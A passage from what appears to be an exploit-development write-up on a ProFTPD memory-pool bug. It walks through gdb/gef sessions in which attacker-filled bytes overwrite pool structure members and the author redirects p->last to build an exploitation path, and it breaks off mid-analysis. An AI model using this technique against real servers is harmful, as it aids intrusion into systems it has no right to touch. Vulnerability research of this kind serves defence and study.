text
stringlengths
0
1.99k
blok->h.first_avail. Since it points to a non-pageable address, it crashes.
Now we know how to trigger the vulnerability and control p's members.
Let's analyze whether or not we can use this we can gain control over
execution.
----[ 5.2 - Defining exploitation strategy
Now, let's detach our gdb and add a breakpoint, so we can analyze the
program state before the crash happens:
ctrl+c
gef➤ detach
gef➤ break pool.c:569 if (p && p->first >= 0x4141414141414141)
The second line puts a conditional breakpoint on line 569 in pool.c.
This means that gdb will stop on this line only if p is not null and
p->first member is greater or equal to 0x4141414141414141. Since we're
flooding with WWW gdb should stops before receiving SIGSEGV next time.
Attach to gdb and repeat the same steps. You should see gdb breaking on
pool.c:569 and not crashing:
──────────────────────────────────────────────────────── code:x86:64 ────
0x5644eeabd595 <alloc_pool+43> mov rax, QWORD PTR [rbp-0x28]
0x5644eeabd599 <alloc_pool+47> shl rax, 0x3
0x5644eeabd59d <alloc_pool+51> mov QWORD PTR [rbp-0x20], rax
→ 0x5644eeabd5a1 <alloc_pool+55> mov rax, QWORD PTR [rbp-0x38]
0x5644eeabd5a5 <alloc_pool+59> mov rax, QWORD PTR [rax+0x8]
0x5644eeabd5a9 <alloc_pool+63> mov QWORD PTR [rbp-0x18], rax
0x5644eeabd5ad <alloc_pool+67> cmp QWORD PTR [rbp-0x18], 0x0
0x5644eeabd5b2 <alloc_pool+72> jne 0x5644eeabd5c9 <alloc_pool+95>
────────────────────────────────────────────────── source:pool.c+569 ────
// p=0x00007ffcc3b492b8 → [...] → "ZZZZZZZZZZZZZ[...]"
→ 569 blok = p->last;
570 if (blok == NULL) {
571 errno = EINVAL;
572 return NULL;
573 }
──────────────────────────────────────────────────────────── threads ────
[#0] "proftpd" stopped 0x5644eeabd5a1 in alloc_pool (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────
Great! Let's analyze p members again:
gef➤ p *p
$2 = {
first = 0x5a5a5a5a5a5a5a5a,
last = 0x5a5a5a5a5a5a5a5a,
cleanups = 0x5a5a5a5a5a5a5a5a,
sub_pools = 0x5a5a5a5a5a5a5a5a,
sub_next = 0x5a5a5a5a5a5a5a5a,
sub_prev = 0x5a5a5a5a5a5a5a5a,
parent = 0x5a5a5a5a5a5a5a5a,
free_first_avail = 0x5a5a5a5a5a5a5a5a,
tag = 0x5a5a5a5a5a5a5a5a
}
gef➤
This time I sent a ZZZZ string, and if we continue we know it will SIGSEGV.
It would be good if we knew what values to send on data connection, then we
can try to control memory pool allocations based on our choice.
However, we first need to understand if this is an exploitable bug - that
is, a vulnerability that allows us to gain control over execution. I spent
a lot of time studying this vulnerability (weeks, in fact), trying many
combined exploitation paths. The outcome of this research is the best
exploitation path I could find, but there are probably other ways to try -
and I hope you can do much better than me =).
I documented some ideas in later chapter. For now I will skip the dead-end
parts of this research and focus on the path that I was successful with.
Now, let's change p->last member to something else:
gef➤ set p->last = &p->cleanups
The "set" gdb command, as suggested, is used to "evaluate [an] expression
EXP and assign result to variable VAR" - type "help set" for more details.
gef➤ p *p
$6 = {
first = 0x5a5a5a5a5a5a5a5a,
last = 0x5644f0439c61,
cleanups = 0x5a5a5a5a5a5a5a5a,
sub_pools = 0x5a5a5a5a5a5a5a5a,
sub_next = 0x5a5a5a5a5a5a5a5a,
sub_prev = 0x5a5a5a5a5a5a5a5a,
parent = 0x5a5a5a5a5a5a5a5a,
free_first_avail = 0x5a5a5a5a5a5a5a5a,
tag = 0x5a5a5a5a5a5a5a5a
}
We defined p->last as the memory address of &p->cleanups. As I explained
earlier, this is the exploitation strategy I've chosen, which depends
on knowing the contents of resp_pool (remember that p points to resp_pool
and we control the members of this structure).
gef➤ p *p->last